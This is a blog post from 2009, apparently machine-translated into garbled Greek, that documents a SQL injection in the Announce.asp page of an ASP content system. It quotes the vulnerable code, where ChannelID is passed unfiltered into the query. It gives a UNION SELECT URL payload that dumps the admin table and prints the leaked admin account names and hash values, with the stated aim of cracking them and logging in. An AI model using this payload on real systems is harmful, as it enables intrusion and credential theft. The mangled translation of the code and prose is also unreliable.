Ισχύς στην χρήση-Announce.asp Announce.asp, asp, το CMS, SQL ένεση, δύναμη, ένεση-st0p το blog

Η δύναμη Announce.asp εγχέεται με τη χρήση της

Αυτή η εγγραφή δημοσιεύτηκε στις 25 του Ιουνίου του 2009

: St0p

Η καθίζηση Αχ, πρόσφατα εμπλακεί σε έναν σταθμό, βρήκε τη δύναμη να αλλάξει, αλλά πολλές τοπικές αλλαγές. Διεύθυνση Το αρχείο δεν είναι σωστό, κατάθλιψη, για να δοκιμαστεί βρέθηκαν Announce.asp μπορεί να κάνει ένεση. .

«http://www.st0p.org/Announce.asp?ChannelID=2

Το ακόλουθο σφάλμα

Microsoft Jet Database Engine '80040e14 λάθος »

String συντακτικό σφάλμα στην παράσταση ερωτήματος «IsSelected = True και (ChannelID = 0 ή ChannelID = 2) και (ShowType = 0 ή ShowType = 2) να καταδικάσει με ID Desc».

. / Announce.asp, γραμμή 19

Ga, υπάρχει ένεση, μπορείτε να χρησιμοποιήσετε.
Και στη συνέχεια πήγε σε απευθείας σύνδεση για να βρει μια δυναμική ανάλυση του συστήματος λήψης, βρέθηκαν ID CLng φίλτρο, όμως, δεν ChannelID φίλτρο, μπορείτε να χρησιμοποιήσετε

  ( request ( "ID" ) ) ID = Trim (αίτηση («ΑΑ»))
 ( request ( "ChannelID" ) ) '这里只检则了是否为空 ChannelID = Trim (αίτηση ("ChannelID")) "μόνο ελέγχει αν η άδεια
 & ChannelID & ")" '这里直接调用了语句 sqlAnnounce = "SELECT * FROM Ανακοινώστε όπου IsSelected = True και (ChannelID = 0 ή ChannelID =" & ChannelID & ")" "εδώ για να κατευθύνει τις κλήσεις προς τη δήλωση
 "" then αν ID <> "", τότε
	 " and (ShowType=0 or ShowType=1) and ID=" & Clng ( ID ) sqlAnnounce = sqlAnnounce & "και (ShowType = 0 ή ShowType = 1) και το ID =" & CLng (ID) 
 αλλού
	 " and (ShowType=0 or ShowType=2)" sqlAnnounce = sqlAnnounce & "και (ShowType = 0 ή ShowType = 2)"
 τέλος, αν
 " order by ID Desc" sqlAnnounce = "ώστε με ID Desc" sqlAnnounce &
 Server . CreateObject ( "ADODB.Recordset" ) Ορισμός rsAnnounce = διακομιστή. CreateObject ("ADODB.Recordset")
 , 1 rsAnnounce. ανοικτή sqlAnnounce, conn, 1, 1

st0p απευθείας αποτελούν μία δήλωση που ανέγνωσε το λογαριασμό διαχειριστή και τον κωδικό πρόσβασης

http://www.st0p.org/Announce.asp?id=2&ChannelID=-1)% 20and% 20 (1 = 2) 20union%% 20select 20id%, όνομα χρήστη, κωδικό πρόσβασης, αρμοδιότητα, LastLoginTime, LastLoginIP, LoginTimes, AdminPurview_Article %%% 20from 20admin 20union%% 20select 20 * 20from%%% 20% 20Announce% 20where 20 (1 = 2, η στάση του σε δύο από τους κορυφαίους διαχειριστές όλα έξω

Λογαριασμός: adminB
Κωδικός: 49ba59abbe56e057

Λογαριασμός: admin
Κωδικός: d9a65233eab47930

Με αυτές τις πληροφορίες, μπορούμε να πάμε να σπάσουμε το MD5, και στη συνέχεια προσγειώθηκε στο αρχείο μετά από κατάσταση αναμονής. Αυτό είναι επίσης st0p νέα δημοσίευση στο blog πρωτότυπο ημερολόγιο.